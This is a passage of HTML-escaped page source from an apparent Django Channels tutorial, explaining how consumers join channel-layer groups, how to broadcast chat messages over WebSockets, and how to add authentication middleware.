data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;The process by which a channel or consumer joins a group.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.generic.websocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; WebsocketConsumer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; asgiref.sync &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; async_to_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_add)(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;disconnect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, close_code):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_discard)(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;receive&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, text_data):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_send)(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat.message&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;: text_data,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;chat_message&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, event):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;send(text_data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;event[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;The changes we made were as follows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;We import the &lt;em&gt;async_to_sync&lt;/em&gt; function, which allows us to execute asynchronous code synchronously.&lt;/li&gt;&#xA;&lt;li&gt;We use the &lt;em&gt;group_add&lt;/em&gt; method to add a channel (remember that a consumer is a representation of a channel) to a given group. That is, add the current channel/consumer to the group called &amp;ldquo;chat&amp;rdquo;. In the image above it is better explained.&lt;/li&gt;&#xA;&lt;li&gt;In case a user disconnects, we remove it from the &amp;ldquo;chat&amp;rdquo; group with &lt;em&gt;group_discard&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Now, every time we receive a message in a &lt;em&gt;consumer&lt;/em&gt;, it will call the method &lt;strong&gt;&lt;em&gt;group_send&lt;/em&gt;&lt;/strong&gt; of the channel layer to which it belongs, which will be in charge of &lt;strong&gt;sending the data, in dictionary form, automatically to all the active members of the group &amp;ldquo;chat &amp;ldquo;&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;The type key will tell the &lt;em&gt;consumer&lt;/em&gt; which method to use. The syntax is &lt;strong&gt;replace the dot with an underscore&lt;/strong&gt;. That is to say that the type &lt;em&gt;chat.message&lt;/em&gt; will execute the &lt;em&gt;chat_message&lt;/em&gt; method of each &lt;em&gt;consumer&lt;/em&gt; that receives it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/GruposEnDjangoChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/GruposEnDjangoChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Processing of a message from a websocket to a group of channel layers&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Channel layer sending information to the group &amp;ldquo;chat&amp;rdquo; with its method group_send&lt;/p&gt;&#xA;&lt;h2 id=&#34;handling-websockets-in-html&#34;&gt;Handling websockets in HTML&lt;/h2&gt;&#xA;&lt;p&gt;To simplify the connection to websocket in the browser, I&amp;rsquo;m going to take the Javascript code needed to send a message and place it in a super simple HTML template that will reside in &lt;em&gt;templates/index.html&lt;/em&gt;. Create it if you don&amp;rsquo;t have it.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lang&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;http-equiv&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;X-UA-Compatible&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;IE=edge&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;Document&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// web socket connection was created&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; chatSocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; WebSocket(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws://&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;window&lt;/span&gt;.location.host&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Every time a message is read show it on the screen&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    chatSocket.onmessage &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(e) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; JSON.parse(e.data);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            console.log(data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Send &amp;#34;our message&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; sendMessage() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; message &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;our message&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        chatSocket.send(JSON.stringify({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;onclick&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;sendMessage()&lt;/span&gt;&amp;gt;Send&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The code is practically the same of the previous entry, I have only added the sending of the message to a function that will be executed when we press the button.&lt;/p&gt;&#xA;&lt;p&gt;In our &lt;em&gt;views.py&lt;/em&gt; file of the chat app we create the view that is in charge of rendering the template&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;useless_chat&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;index.html&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And let&amp;rsquo;s not forget to add this view to the urls of our project.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; chat.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; useless_chat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;chat/&amp;#39;&lt;/span&gt;, useless_chat)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ready! Now comes the interesting part&amp;hellip; if you open two windows, two &lt;em&gt;consumers&lt;/em&gt; will be created and every time a &lt;em&gt;consumer&lt;/em&gt; sends a message, it will be received in the Django app and &lt;em&gt;self.channel_layer.group_send&lt;/em&gt; will send it to the rest of the consumers, when they receive it, each consumer will execute its &lt;em&gt;chat_message&lt;/em&gt; method, which will send the text that was sent.&lt;/p&gt;&#xA;&lt;p&gt;Observe how both tabs receive the sent messages&lt;/p&gt;&#xA;&lt;h2 id=&#34;users-in-django-channels&#34;&gt;Users in django channels&lt;/h2&gt;&#xA;&lt;p&gt;What about the users? So far we have been handling anonymous users. Note that authentication is quite simple in django channels. To incorporate it we wrap our application in the &lt;em&gt;AuthMiddlewareStack&lt;/em&gt; middleware, django will handle the &lt;em&gt;session&lt;/em&gt; object, as usual.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/asgi.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; os&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; AuthMiddlewareStack&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.routing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; ProtocolTypeRouter, URLRouter&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.core.asgi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; get_asgi_application&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; chat.routing&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;os&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;environ&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;setdefault(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;DJANGO_SETTINGS_MODULE&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;mychannels.settings&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;application &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ProtocolTypeRouter({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http&amp;#34;&lt;/span&gt;: get_asgi_application(),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span 